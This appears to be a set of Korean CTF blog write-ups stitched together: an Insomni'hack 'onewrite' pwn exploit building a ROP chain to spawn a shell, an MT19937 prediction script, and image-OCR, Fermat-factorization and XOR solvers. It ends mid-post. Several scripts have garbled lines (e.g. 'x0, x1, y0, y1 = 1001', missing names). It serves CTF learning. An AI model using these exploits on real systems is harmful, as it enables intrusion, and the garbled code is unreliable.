Write-up

필자의 팀은 bash 우회(\b\a\s\h)세미콜론 우회(ctrl+v + ctrl+j)를 통해 풀었으나..


타팀의 writeup을 보고 감탄해마지않아 글을 쓴다...


grep을 저렇게 멋지게 활용할 수 있다니 감탄할 따름.


grep -rnw "system" | wc -l         /// system을 포함하는 라이브러리 갯수 출력


grep -rnw "exit" | wc -l               // exit를 포함하는 라이브러리 갯수 출력


grep -rnw "ls \"%s\"" | wc -l        // ls "%s" 를 포함하는 라이브러리 갯수 출력


-r, --recursive : 서브 디렉토리의 파일까지 모두 출력 출처

-n, --line-number : 문자열이 들어있는 라인과 문두에 라인번호를 출력

-w, --word-regexp : pattern 이 전체 단어와 일치하는 줄만 출력, 단어의 일부로써 일치하는 경우가 아닌, 하나의 단어로써 일치하는 줄이 출력.



20000개중 exit인 15000개빼고 또 남은것중에 ls가 포함된 4999인것을 빼면 남는게 1개...



그 1개가 system(&s)인 라이브러리...

grep을 이리 멋지게 활용하다니... 대단;


나중에 써먹어야지 ㅎㅎ


'Write-up > Pwnable' 카테고리의 다른 글

[DEFCON 2019 Quals] speedrun  (0) 2019.05.14
[Codegate 2019] aeiou Write-up  (0) 2019.02.09
[Insomni'hack 2019] onewrite writeup  (0) 2019.01.21
[0ctf 2017] babyheap  (0) 2018.10.20
[9447 CTF 2015] Search Engine  (1) 2018.09.30

Description

File

onewrite

 is here
difficulty: easy
_ nc onewrite.teaser.insomnihack.ch 1337

간단한 문제입니다.

All you need to pwn nowadays is a leak and a qword write they say...
What do you want to leak ?
1. stack
2. pie
 > 1
0x7fff979bf4a0
address : 140735736968352   
data : 12345678

프로그램을 실행하면 stack 이나 do_leak 함수의 주소(pie)를 선택하여 둘 중 하나를 leak할 수 있습니다. 

그 후,  do_overwrite 함수를 통해 임의의 주소에 8 byte를 쓸 수 있게됩니다. 

[*] '/home/myria/CTF/Insomni_hack/onewrite/onewrite'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

and binary is "statically linked"

그러나 바이너리가 정적링크(statically linked)이기 때문에 stack 과 pie 둘 다 leak할 필요가 있습니다.
공격은 아래와 같이 진행됩니다.

  1. Leak PIE address
  2. Overwrite pie_addr + 0x2a55a3 with main address
  3. Program end. And the exit will be called after main returns.
    (it call __libc_csu_fini function)
  4. __libc_csu_fini function call QWORD [pie_addr + 0x2a55a3]. so we again jump to main function.
  5. Leak Stack address
  6. Write a ropchain in the bss
  7. Jump ropchain
  8. Get Shell

main함수가 끝나고 exit함수가 호출되는데, 이 exit함수에서 다시 __libc_csu_fini 가 호출됩니다. 여기 <__ libc_csu_fini+40>에 있는 call QWORD PTR [rbp + rbx*8+0x0] 인스트럭션을 통해 다시 main 함수로 점프할 수 있습니다.


6. Write a 'ropchain' in the 'bss' 이 부분이 어렵습니다. 임의의 주소에 8바이트를 쓰고 다시 한번 main함수로 ret 조작없이 돌아올 수 있어야합니다. 

return address를 조작할 때, 함수의 프롤로그에필로그를 적절히 생략되게 조작하면 우리는 stack을 조절할 수 있습니다.

main 함수의 반환 주소를 조작하고 do_leak 함수의 반환 주소를 조작합니다. (sub rsp, 0x18, rsp, 0x18 또는 sub rsp, 0x8, add rsp, 0x8)

그러면 스택은 아래와 같이 구성됩니다. 위 두 작업을 통해 return 주소 조작없이 임의의 주소에 8byte를 쓸 수 있는 기회를 한번 얻었습니다.

이제 남은 것은 간단합니다. ropchain을 만들고 pop rsp; ret을 사용하여 ropchain을 실행하면 됩니다.

English writeup

The full exploit code

from pwn import *

#conn = remote("onewrite.teaser.insomnihack.ch", 1337)
conn = process("onewrite")

def leak(select):
   conn.recvuntil(" > ")
   conn.sendline(str(select))
   leak_addr = int(conn.recvline().strip(), 16)
   return leak_addr

def write(addr, data):
   conn.recvuntil("address : ")
   conn.send(str(addr))
   conn.recvuntil("data : ")
   conn.send(data)

## Stage 1
# do_leak func address leak
pie_addr = leak(2)
log.info("pie_address : " + hex(pie_addr))

target = pie_addr + 0x2a55a3 # rbp+rbx*8+0x0   //   call QWORD PTR [rbp+rbx*8+0x0]
main = pie_addr + 0xa3		# main function address
write(target, p64(main))

## Stage 2
# stack_address leak
stack_addr = leak(1)
target = stack_addr  + 0x28	# return address (main function)
log.info("stack_address : " + hex(stack_addr))
write(target, p64(main))


def write_arbitrary(addr, data):
   # stack_address += 8
   stack_addr = leak(1)
   log.info("stack_address : " + hex(stack_addr))
   target = stack_addr  + 0x28
   write(target, p64(main))

   # stack_address -= 8
   stack_addr = leak(1)
   log.info("stack_address : " + hex(stack_addr))
   target = stack_addr  + 0x18
   write(target, p64(main))

   # main_ret => main
   # free write! and return Main
   stack_addr = leak(1)
   log.info("stack_address : " + hex(stack_addr))
   log.info("writing")
   write(addr, data)	# free write

# rop_gadget
pie_base = pie_addr - 0x000008A15
pop_rdi = pie_base + 0x000858fb
pop_rsi = pie_base + 0x0008551a
pop_rdx = pie_base + 0x000484c5
pop_rax = pie_base + 0x0004654c
syscall = pie_base + 0x00088834

bss_address = pie_base + 0x2B38D0

log.info("pie_base : " + hex(pie_base))

# write "/bin/sh" to BSS
write_arbitrary(bss_address, "/bin/sh\x00")

idx = 2
def rop(data):
   global idx
   write_arbitrary(bss_address + idx*8, p64(data))
   idx+=1

# write rop_chain to BSS
rop(pop_rdi)
rop(bss_address)
rop(pop_rsi)
rop(0)
rop(pop_rdx)
rop(0)
rop(pop_rax)
rop(59)
rop(syscall)

def trigger_rop():
   stack_addr = leak(1)
   target = stack_addr  + 0x28
   log.info("stack_address : " + hex(stack_addr))
   write(target, p64(main))

   pop_rsp = pie_base + 0x00087c46
   rop_chain = bss_address + 0x10

   # jump ropchain
   write_arbitrary(stack_addr + 0x40, p64(pop_rsp))
   write_arbitrary(stack_addr + 0x48, p64(rop_chain))

trigger_rop()
leak(1)
write(1,"id\n")

conn.interactive()


'Write-up > Pwnable' 카테고리의 다른 글

[Codegate 2019] aeiou Write-up  (0) 2019.02.09
[Codegate 2019] 20000 ( grep 이용하기)  (0) 2019.01.30
[0ctf 2017] babyheap  (0) 2018.10.20
[9447 CTF 2015] Search Engine  (1) 2018.09.30
[noxCTF] The Black Canary writeup  (0) 2018.09.13

X-MAS CTF에 나온 암호문제중 하나입니다. CTF는 12.14 ~ 12.21에 진행된 CTF로 크리스마스 분위기가 물씬 풍기는 CTF였습니다. (Christmas 당일까지 진행하지않은게 정말 다행이네요 ㅎㅎ;; )


Special Christmas Wishlist (50 pts)


Description

While Santa was looking through the wishlists of the childern all around the world he came across a very strange looking one. Help Santa decode the letter in order to fulfill the wishes of this child.

(Flag is Non-Standard)

UPDATE: flag is lowercase!

Author: Gabies

Files: 

wishlist.zip


문제는 조금 어렵게 나왔다고 생각했는데... 대회가 종료될때에 Solver가 124팀으로 점수는 50점까지 낮아졌습니다.


먼저 문제설명을 살펴보면 "산타가 전 세계 어린이들이 보내온 Wishlist를 보고있는데 이~상한 Wishlist를 발견했다고 합니다. 그 희망목록은 산타가 읽을 수 없는 문자들로 가득했는데...! 산타가 문자를 읽을 수 있게 도와 아이의 소원을 이루어주세요!" 같은 내용입니다.


그래서 주어진 첨부파일인 wishlist.png를 살펴보면 정말 알 수 없는 문자들로 가득 채워진 그림을 볼 수 있습니다. 이미지파일이 세로로 정말 길기 때문에 일부만 가져와보겠습니다.




이야... 진짜 무엇 하나도 키보드로 표현할 수 없는 문자들뿐입니다. 대체 이걸 어떻게 124팀이나 푼지 모르겠습니다 :(. 스코어에 등록된게 1378팀인데... 뭐 아무튼 이런 류의 문제들이 가끔식 CTF에서 나오는데요. 계속해서 못 풀다가 이번 기회에 그러면 아예 제대로 공부해놓자! 해서 이 문제를 가지고 Writeup을 작성하게되었습니다.


문제로 돌아와서 주어진 wishlist.png파일은 비아스키문자들과 공백으로 이루어진 문자가 73줄 나열되어있습니다. 또한 문자와 공백들의 나열을 보고 유추하건데, 이 문제는 단순치환암호(Simple Substitution Cipher)일 것으로 보입니다.


그렇다면 이제 저 이미지의 모든 문자를 알파벳으로 치환한 후, 빈도수 분석을 이용하여 문제를 풀 수 있을 것으로 보입니다. 그런데 이미지의 문자 하나하나를 손으로 직접 바꾸는 것은 정말 어려운 문제입니다 ㅡㅡ;


저번에 있었던 RITSEC CTF 2018의 Nobody uses the eggplant emoji 에서는 위 문제와 마찬가지로 비아스키문자들로 이루어진 단순치환암호였지만 텍스트파일로 주어져 쉽게 알파벳으로 치환할 수 있었습니다.




chal.txt 🤞👿🤓🥇🐼💩🤓🚫💪🤞🗣🙄🤓🥇🐼💩🤓😀😟🤓🍞🐼🚫💪🥇🤓🐼👿🤓🚫💪😟🤓👿😾😀😯🤓👿🤞🔥🚫🤓🥇🐼💩🤓👻💩🔥🚫🤓😀🗣🔥🍞😟🤓🚫💪😟🔥😟🤓🚫💪😟😟🤓💔💩😟🔥🚫🤞🐼🗣🔥😭🤓🍞💪😀🚫🤓🤞🔥🤓🥇🐼💩🤓🗣😀👻😟🤢🤓🍞💪😀🚫🤓🤞🔥🤓🥇🐼💩🤓💔💩😟🔥🚫🤢🤓🍞💪😀🚫🤓🤞🔥🤓🚫💪😟🤓😀🤞🤓🔥🐙😟😟😎🤓👀😟😾🐼🤬🤞🚫🥇🤓🐼👿🤓😀🗣🤓💩🗣😾😀😎😟🗣🤓🔥🍞😀😾😾🐼🍞😭🤓🥇🐼💩🤓👿😾😀😯🤓🤞🔥🤡🤓😀👿🤞🤬😀🗣_🐼_😟💩🐼🐙😟😀🗣_🔥🍞😀😾😾🐼🍞_🍞🐼🍞_🚫💪😟😟🔥_😀_😎🤞👿👿😟😟🗣🤬😟🤓 __


하지만 이번에 주어진 문제는 텍스트파일이 아닌 이미지파일로 주어졌기 때문에, 이미지파일에서 각 문자를 추출하여 아스키문자로 표현해줄 필요가 있습니다.




위와 같이 각 문자당 하나의 알파벳을 할당하는 것이 목표입니다. 이를 위해 파이썬 라이브러리인 Pillow를 사용하는데, Pillow는 PIL(Python Image Library)를 계승한 라이브러리입니다. 더이상 업데이트가 되지 않는 PIL 대신 사용하는 파이썬 라이브러리로 이를 통해 손쉽게 파이썬을 이용해서 이미지 파일을 다룰 수 있습니다.


from PIL import Image
from string import ascii_lowercase

img = Image.open('wishlist.png').convert('1', dither=False)
lines = scan(img)
print(translate(lines))


먼저 PIL을 통해 Image를 불러옵니다. 옵션과 모드로 1-bit-pixel mode 와 dither=False를 선택하는데, 1-bit-pixel mode는 black인지 white인지만 판별하는 모드로 위 이미지의 문자는 흑백의 두 색으로만 이루어져있으므로 1bit모드로 충분합니다. 또 dither를 False로 설정하였는데 이는 이미지 프로세싱에서 많이 쓰이는 디더링(Dithering)이라는 것으로, 제한된 색을 이용하여 음영이나 색을 나타내는 것이며, 여러 컬러의 색을 최대한 맞추는 과정입니다.


이 디더(dither)를 False로 설정하면 음영을 구분하지않아 흑백으로만 그림이 나타날 것이므로 좀 더 편하게 문자열을 구분할 수 있습니다.


def scan(img):
	lines = []
	line_x, line_y = 30, 0
	while True:
		x, y = search(img, line_x, line_y, True, fix_x=True)
		if (x, y)==(None, None): break
		line = []
		while True:
			x, y = search(img, x, y, True, fix_y=True)
			if (x, y)==(None, None): break
			letter = bfs(img, x, y)
			line.append(normalize(letter))
			(min_x, min_y), (max_x, max_y) = bounds(letter)
			x = max_x + 1
			y = (max_y + min_y) // 2
		lines.append(line)
		line_y = max_y + 30
	return lines


이제 맨 윗줄부터 왼쪽에서 오른쪽으로 이동하면서 이미지 위의 문자를 찾습니다. 여기서 중요한 점은 이미지 위에 나타난 모든 문자들이 끓어지지않고 연속된 선으로 이루어져있다는 것입니다. 그러므로 이를 너비우선탐색(BFS)를 통해 각 문자에 대해 트리를 만들수 있습니다.




def bfs(img, start_x, start_y):
	queue = [(start_x, start_y)]
	visited = set(queue)
	for x, y in queue:
		for dx, dy in [(-1, -1), (-1, 0), (-1, 1), (0, -1), (0, 1), (1, -1), (1, 0), (1, 1)]:
			xx, yy = x + dx, y + dy
			if img.getpixel((xx, yy)) > 0:
				continue
			if (xx, yy) not in visited:
				queue.append((xx, yy))
				visited.add((xx, yy))
	return visited


이제 각 줄의 문자마다 만들어진 트리들을 가지고 같은 트리에는 같은 문자를 할당하여 나타내면 됩니다.


def translate(lines):
	alpha = dict()
	index = 0
	text = ''
	for line in lines:
		for letter in line:
			if letter not in alpha:
				alpha[letter] = ascii_lowercase[index]
				index += 1
			text += alpha[letter]
		text += '\n'
	return text


이제 이 소스코드를 실행하면 아래와 같은 결과를 얻을 수 있습니다.


abcdcefgahijdcefgkhelgldji
jdmbnngnbodapqhhrgifl
kcoaqggmjabllgllgchncsh
qbffhjsdlfhoceoqagml
bftgicemgmoeacdchhauadvsbcuk
csdjobmlkobaahslrgsgm
iglcdijlchmbjguhicbdigml
lodadijwdxhjbmfgilueavcemg
ahijfdlcbiugcheukabov
oeacduhahmhoqmglcgoagllsdigjablllgc
vgfglcbawgsgampkhafgm
bmcdlbibaqboqhhlbacukglc
bemhmblobmcadjkcdijvbigal
ckglgblgmvgicjbmfgilueavcemg
ckgyedcgbobxdijyeglcnhmyegmdgl
mgupuagfjabllcmggjahqglmgabcdhilkdvl
igsphmrcdogluelchonmhicvbjgvexxag
ckgqglcladijqgtgmbjguhhagm
cmdhodzgfogcbalgbmmdijl
qdmckohicknahsgmigurabug
bohckgmlahtgdlqgphifogblemglvhhilgc
sgffdijsbacxvgmlhibadxgfbmc
vgmlhibadxgfjhhfidjkcadccagogqhhr
uelchovgcihlgvmdicigurabugl
uelchovgcvdaahsl
ysgmcprgpqhbmf
aabobmbobabmjgxdvvgmvheuk
odohlbfdbjmbojabllsbmglgchnckmgg
ckbirphenhmphemvbmcdiopwhemigpigurabug
phjbvhlgkbijdijlueavcemgl
ckgqdrgukbdiqhsa
umdolhikgbmceoqmgaab
ckgyedxdildfgckgobxg
ogilkgmqbasbmodijladvvgml
phemlodigbifhemlgijmbtgffgubicgmlgc
ckgbiidtgmlbmpwhemiba
ohoobqdmfuenn
sdigqbmmgajedcbmmbur
ckgvaelkhmjbil
jbmadujmbcgmbifhdafdvvdijfdlk
hrchqgmnglcbagqggmqmgsdijrdc
obcglnhmadng
qhhrahtgmladjkcsgdjkclubmtgl
uhilcdcecdhihneidcgflcbcglhnbogmdubjabll
jhanjabllglvgscgmbijgauhdillgchncsgatg
qeiipngacqbqpladvvgml
vgmlhibadxgfcmggcmeirjabllsbmgfeh
gzvgucdijphebrggvlbrgvmgjibiupwhemiba
ckgqgmmpqeffp
ckgqdmfdgpbmiqhsa
rbickbukbifgadgmlgbmmdijl
vgmlhibadxgfoptgmphsiibogqhhr
eiduhmibifmbdiqhsodlobcukgfgbmmdijl
lahckvbalohqdag
qbchibqmbiuk
vgmlhibadxgfueccdijqhbmf
lohrgfgcguchmfgbucdtbcdhichsga
ckgaeigadjkc
vgmlhibadxgfbiidtgmlbmpvelkvdielbobv
ogilcbuhlhurl
gashhfckgeiduhmiugmgbaqhsa
ckgadccagvbcdgic
udmuaghnnbodapbifnmdgifllgmtdijqhsa
jabllnahsgmjbmfgiugicgmvdgug
qdmcklchigodigmbalhbvl
lgchnnhemjhanjabllgl
ckgugfbmckeoqvdbihl
uelchoobvuhblcgmlgc
qdjvgmlhibadcpfglrldjil
lgblchiglvablklvhijgkhafgm
phemohlcfgldmgfhqwgucckdlukmdlobl
ckgnabjdl
zoblphebmglhjhhfbcleqlcdcecdhiudvkgml


자 그럼 이제 분도수 분석을 통해, 단순치환암호를 풀면 됩니다. quipquip를 이용하면 쉽게 단순치환암호문제를 풀 수 있습니다.


latitude longitude house sign giraffe family book ends html beer glasses set of two bad dog wisdom tumblers adventurer multi tool clip watch twig marsh mallow skewer nesting storage containers smiling jizo garden sculpture long distance touch lamp multi color ombre stem less wine glass set pedestal jewelry holder artisan al bamboo salt chest aurora smart lighting panels the sea serpent garden sculpture the quite amazing quest for queries recycled glass tree globes relationships new york times custom front page puzzle the best sling beverage cooler trio mixed metals earrings birth month flower necklace a mothers love is beyond measure spoon set wedding waltz personalized art personalized good night little me book custom pet nose print necklaces custom pet pillows qwerty keyboard llama rama large zipper pouch mimosa diagram glass ware set of three thank you for your part in my journey necklace yoga pose hanging sculptures the bike chain bowl crimson heart umbrella the quiz inside the maze mens herbal warming slippers yours mine and ours engraved decanter set the anniversary journal momma bird cuff wine barrel guitar rack the plush organs garlic grater and oil dipping dish oktober festale beer brewing kit mates for life book lovers lightweights carves constitution of united states of america glass golf glasses pewter angel coins set of twelve bunny felt baby slippers personalized tree trunk glass ware duo expecting you a keepsake pregnancy journal the berry buddy the birdie yarn bowl kantha chandeliers earrings personalized my very own name book unicorn and rainbow mismatched earrings sloth pals mobile baton a branch personalized cutting board smoke detector deactivation towel the lune light personalized anniversary push pinus a map mens taco socks elwood the unicorn cereal bowl the little patient circle of family and friends serving bowl glass flower garden centerpiece birth stone mineral soaps set of four golf glasses the cedar thumb pianos custom map coaster set big personality desk signs sea stone splash sponge holder your most desired object this chrism as the flag is xmas you are so good at substitution ciphers


FLAG는 마지막 줄에 있습니다. flag is xmas you are so good at substitution ciphers


전체소스

#!/usr/bin/python3

from PIL import Image
from string import ascii_lowercase


def search(img, start_x, start_y, need_color, fix_x = False, fix_y = False):
	found = False
	for y in range(start_y, img.height) if not fix_y else [start_y]:
		for x in range(start_x, img.width) if not fix_x else [start_x]:
			color = (img.getpixel((x, y)) == 0)
			if (color and need_color) or (not color and not need_color):
				found = True
				break
		if found:
			break

	if found:
		return (x,y)
	else:
		return (None, None)


def bfs(img, start_x, start_y):
	queue = [(start_x, start_y)]
	visited = set(queue)
	for x, y in queue:
		for dx, dy in [(-1, -1), (-1, 0), (-1, 1), (0, -1), (0, 1), (1, -1), (1, 0), (1, 1)]:
			xx, yy = x + dx, y + dy
			if img.getpixel((xx, yy)) > 0:
				continue
			if (xx, yy) not in visited:
				queue.append((xx, yy))
				visited.add((xx, yy))
	return visited


# search google : python zip(*list)
def bounds(letter):
	x, y = zip(*list(letter))
	min_x, min_y = min(x), min(y)
	max_x, max_y = max(x), max(y)
	return (min_x, min_y), (max_x, max_y)


def normalize(letter):
	(min_x, min_y), (max_x, max_y) = bounds(letter)
	normal = set()
	for x, y in letter:
		xx, yy = x - min_x, y - min_y
		normal.add((xx, yy))
	return frozenset(normal)

def scan(img):
	lines = []
	line_x, line_y = 30, 0
	while True:
		x, y = search(img, line_x, line_y, True, fix_x=True)
		if (x, y)==(None, None): break
		line = []
		while True:
			x, y = search(img, x, y, True, fix_y=True)
			if (x, y)==(None, None): break
			letter = bfs(img, x, y)
			line.append(normalize(letter))
			(min_x, min_y), (max_x, max_y) = bounds(letter)
			x = max_x + 1
			y = (max_y + min_y) // 2
		lines.append(line)
		line_y = max_y + 30
	return lines


def translate(lines):
	alpha = dict()
	index = 0
	text = ''
	for line in lines:
		for letter in line:
			if letter not in alpha:
				alpha[letter] = ascii_lowercase[index]
				index += 1
			text += alpha[letter]
		text += '\n'
	return text


def main():
	img = Image.open('wishlist.png').convert('1', dither=False)
	lines = scan(img)
	print(translate(lines))

if __name__ == '__main__':
	main()


'Write-up > Crypto' 카테고리의 다른 글

[VolgaCTF 2019] Blind  (0) 2019.04.03
[BSidesSF 2019] mixxer  (0) 2019.03.08
[MeepwnCTF 2018] Old School (Fermat's factorization attack)  (0) 2018.11.29
[noxCTF] PlotTwist (Mersenne Twister)  (0) 2018.11.26
[TUCTF 2018] JimmysCrypto (XOR 암호)  (0) 2018.11.26

조금 늦게 올리게되는 MeePwnCTF 2018 Qual에 나왔던 Old School이란 문제이다.


RSA에 익숙해졌다고 생각했는데, 당시 전혀 접근하지 못한 문제였는데; CTF가 끝나고 다른 팀의 Writeup을 보고 공부하였으나

결국 직접 소스코드를 짜보진 못하고 개념만 정리해서 블로그에 올렸었다.. (그것도 몇줄안되지만)


다시 한번 보자면, 이 문제는 Fermat's factorization attack에 관한 문제이다.


이 공격의 요점은 이렇다. 

N = p * q 인 N이 주어질때, p/q가 1에 근사하다면 Fermat's factorization으로 공격하여 p, q 값을 구할 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from Crypto.Util.number import long_to_bytes
from gmpy2 import *
 
def xgcd(b, n):
    x0, x1, y0, y1 = 1001
    while n != 0:
        q, b, n = b // n, n, b % n
        x0, x1 = x1, x0 - q * x1
        y0, y1 = y1, y0 - q * y1
    return b, x0, y0
    
def mul_inv(b, n):
    g, x, _ = xgcd(b, n)
    if g == 1:
        return x % n
    
def fermat_factor(n):
    assert n % 2 != 0
    
    a = isqrt(n)
    b2 = square(a) - n
    
    while not is_square(b2):
        a += 1
        b2 = square(a) - n
    p = a + isqrt(b2)
    q = a - isqrt(b2)
    
    return int(p), int(q)
    
 
= 12263815858436391339801252716055343215721551207190585812808883921492616938019767754888047221243921529199781329682187336097470283133260860905444173937906698593993435816362355791049334301256672146334457160396157422171213155186704409015520723701624704179794619860512757194475928285433621469983215042163268337482613981138412642113164161985610041212644438310461087934752877418645890869616237437302541973412868157911349542527624597832254480191497600938121405413426358837072839977429474448232347107365820912432960433009928432513624193587173708951345864949412064817411473475077328080824358689398099979260395549956349458200199
= 65537
= 10768566524581730417282966534533772232170128646105592645274840624344800039953305762328123247486367933169410426551021676301441508080687130308882531249672782247453418751384028303096785698132140306753136583313099836328879191020815311025909775009768461235238724055399564994913948731120265357427622567179898229336239135361607806956357971819975387160453721508112358768552880424521729959498368682405606641964356553284372394601190105374421489502575623037672340535664494377154727704978673190317341737416683547852588813171964475428949505648909852833637140722157843587170747890226852432960545241872169453977768278393240010335066
 
p, q = fermat_factor(n)
phi = (p-1)*(q-1)
 
= mul_inv(e, phi)
plain = pow(c, d, n)
 
print("p :" + str(p))
print("q :" + str(q))
print("p/q :" +str(p/float(q)))
 
print("flag : " + long_to_bytes(plain))
cs


내가 이 Plot Twist 문제의 롸업을 안올렸다니...


오랜만에 MT19937 Mersenne Twister RNG 에 관해서 다시 접하게되어서 저번에 noxCTF에 나왔던 관련 문제 롸업이나 보자! 하고 왔는데

내가 안올려놨었다 ㅡㅡ;;


나름 문제풀려고 고민고민하다가 검색을 통해서 관련 개념을 알게되서 푼 문제라서 롸업 올려놧을줄 알았는데;;


어찌됫든 기억난 김에 이렇게 써본다.


메르센 트위스터란 유사 난수 생성기이다. 메르센 트위스터의 이름은 난수의 반복 주기가 메르센 소수인 데에서 유래했다.

메르센 트위스터는 그 속도와 난수의 품질 때문에 점점 많은 곳에서 채택되고 있으며, 흔히 주기가 2^{19937}-1인 MT19937을 사용한다. 

MT19937과 같으나 생성해 내는 난수가 32비트가 아닌 64비트인 MT19937-64도 쓰이며, 2006년에 동일한 저자들이 발표한 SIMD 기반 메르센 트위스터는 MT19937에 비해 대략 두 배 정도 빠른 것으로 알려져 있다.


난수의 품질에도 불구하고, 메르센 트위스터는 암호학적으로 안전한 유사난수 생성기가 아니다. 즉 난수의 특성(주기, 난수 범위)을 알고 있을 때 유한한 수의 난수(이 경우 624개)만으로 현재 생성기의 상태를 알아 낼 수 있으며, 그 뒤에 나올 난수를 예측해 낼 수 있다. 암호학적으로 안전한 유사난수 생성기를 얻기 위해서는 해시 함수를 사용해야 하지만 난수의 생성 속도가 낮아진다. 또는 블룸 블룸 슙(BBS)과 같이 암호학적으로 안전하게 설계된 생성기를 쓸 수도 있다. 


출처 :: 위키피디아(메르센 트위스터)


문제는 아래와 같은 파일이 하나 주어진다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import socket
import threading
import random
from Crypto.Cipher import AES
 
class ThreadedServer(object):
    def __init__(self, host, port):
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))
        self.flag = open('flag.txt''r').read()
 
    def listen(self):
        self.sock.listen(20)
        while True:
            client, address = self.sock.accept()
            client.settimeout(60)
            threading.Thread(target = self.listenToClient,args = (client,address)).start()
    
    def getKey(self, r):
        return str(r.getrandbits(32)).rjust(16'0')
 
    def pad(self, s):
        return s + chr(0)*((-len(s)) % 16)
 
    def encrypt(self, key, plaintext):
        aes = AES.new(key, AES.MODE_CBC, self.pad('SuperSecretIV'))
        return aes.encrypt(self.pad(plaintext))        
 
    def decrypt(self, key, ciphertext):
        aes = AES.new(key, AES.MODE_CBC, self.pad('SuperSecretIV'))
        return aes.decrypt(ciphertext)
 
    def listenToClient(self, client, address):
        client_flag = self.flag
        r = random.Random()
        key = self.getKey(r)
        client_flag = self.encrypt(key, client_flag)
        while True:
            try:
                client.send('Please insert the decryption key:\n')
                key_guess = client.recv(16)
                if key_guess == key:
                    client.send('Correct! Your flag is: ' + self.decrypt(key, client_flag) + '\n')
                    client.close()
                    break
                else:
                    client.send('Wrong! The key was: ' + key + '\n')
                    client_flag = self.decrypt(key, client_flag)
                    key = self.getKey(r)
                    client_flag = self.encrypt(key, client_flag)
            except Exception as e:
                print e
                client.close()
                return False
 
if __name__ == "__main__":
    ThreadedServer('0.0.0.0'5115).listen()
 
cs


서버에 접속하면 키를 입력해달라고 하고, 올바른 키를 입력하면 플래그를 뿌려준다.

잘못된 키를 입력하면 틀렸다면서 방금 쓰인 암호화 key를 출력해주고, key는 새로 설정된다. 


여기서 = random.Random()가 쓰이고 아래 함수를 통해 key를 획득하게 된다.


    def getKey(self, r):
        return str(r.getrandbits(32)).rjust(16'0')


Python의 random은 메르센 트위스터로 되어있어, 624개의 난수만 뽑아낸다면 다음 난수를 예측할 수 있다.

그러므로 624번 틀려서 key값을 알아내어 다음 값을 알아내는 것이 가능하다.


여기서 Mersenne Twister Crack 소스를 짜면 아주 멋지겠지만... 이미 구현되어있는것들이 많으니.. 그것들을 가져와 사용하겠다.

https://github.com/tna0y/Python-random-module-cracker


설명도 아주 잘되어있다.

그냥 적혀있는대로 쓰면된다.


아래는 필자가 작성한 공격코드이다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python
from pwn import *
import string
from randcrack import RandCrack
#https://github.com/tna0y/Python-random-module-cracker
 
 
conn = remote("chal.noxale.com"5115)
 
def get_key(rc):
    conn.recvuntil("Please insert the decryption key:\n")
    conn.send("0"*16*624)
        
    for i in range(624):
        conn.recvuntil("Wrong! The key was: ")
        key = conn.recv(16)
        rc.submit(int(key))
        conn.recvuntil("Please insert the decryption key:\n")
 
    key = str(rc.predict_getrandbits(32)).rjust(16'0')
    return key
 
rc = RandCrack()
key = get_key(rc)
conn.send(key)
 
conn.interactive()
 
 
 
cs





이 CTF에서 XOR 암호가 2개 나왔는데, 하나는 키 길이가 주어졌다. (키길이는 9였다)

암호문이 충분히 길었기에 alphabet scoring 방식으로 풀었는데...


나머지 하나가 풀기에 상당히 까다롭게 나왔다.



secret 파일과 flag 파일, 그리고 이를 암호화한 python 소스코드가 주어진다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python2
 
import random
 
def do_xor(p, k):
    out = ''
    for i in xrange(len(p)):
        out += chr(ord(p[i]) ^ ord(k[i]))
    return out
 
 
with open('flag_plaintext''rb') as f1:
    p1 = ''.join(f1.readlines())
 
with open('secret_plaintext''rb') as f2:
    p2 = ''.join(f2.readlines())
 
= max(len(p1), len(p2))
 
key = ''.join([chr(random.randint(0256)) for i in xrange(l)])
 
c1 = do_xor(p1, key)
c2 = do_xor(p2, key)
 
with open('flag''wb') as f1:
    f1.write(c1)
 
with open('secret''wb') as f2:
    f2.write(c2)
 
cs


secret_plaintext 파일과 flag_plaintext 파일을 읽어 둘 중 긴 길이만큼 랜덤한 key를 만들어내고, 이와 xor하여 secret과 flag파일을 만들어낸다.

언듯보기에는 XOR암호가 OTP에 쓰여 깰 수 있을 것 같지않다.


하지만 동일한 XOR키스트림을 두 파일에 썻기때문에


ciphertext1 = key ^ flag ciphertext2 = key ^ secret

ciphertext2 ^ ciphertext1 = key ^ secret ^ key ^ flag = secret ^ flag


위 공식이 성립한다. 즉 secret ^ flag 를 획득 할 수 있다. 그리고 우리는 flag 포맷을 알고있고, 그 포맷이 TUCTF{ 로 구성되어있다는 것을 알고있다.

그러므로 위 secret ^ flag에서 TUCTF{ 가 들어갈 부분과 secret부분을 얻을 수 있을것이다...


물론 여기서부터는 거의 secret과 flag의 추측을 통해서 문제풀이가 이루어진다..

이에 적절한 파이썬 스크립트가 있어서 사용해보았다.


cribdrag 라고 DEF CON 21에서 발표된 예측 가능한 키와 XOR암호문에 대한 cribdrag 공격을 수행하기위한 스크립트라고한다.


아래와 같은 경우 사용할 수 있다.


* 키가 재사용되는 일회성 원타임패드 (두 개의 암호문을 XOR하여 사용)

* 키가 재상용된 모든 스트림 암호 (위와 동일)

* 단일 문자 XOR암호

* 복수 문자 XOR암호


그래서 이를 이용해서 문제를 풀어볼 수 있다.

먼저 flag와 secret의 앞부분을 동일한 크기만큼 가져와서 xorstrings.py를 이용해 xor하여 랜덤한 키부분은 제거해준다.


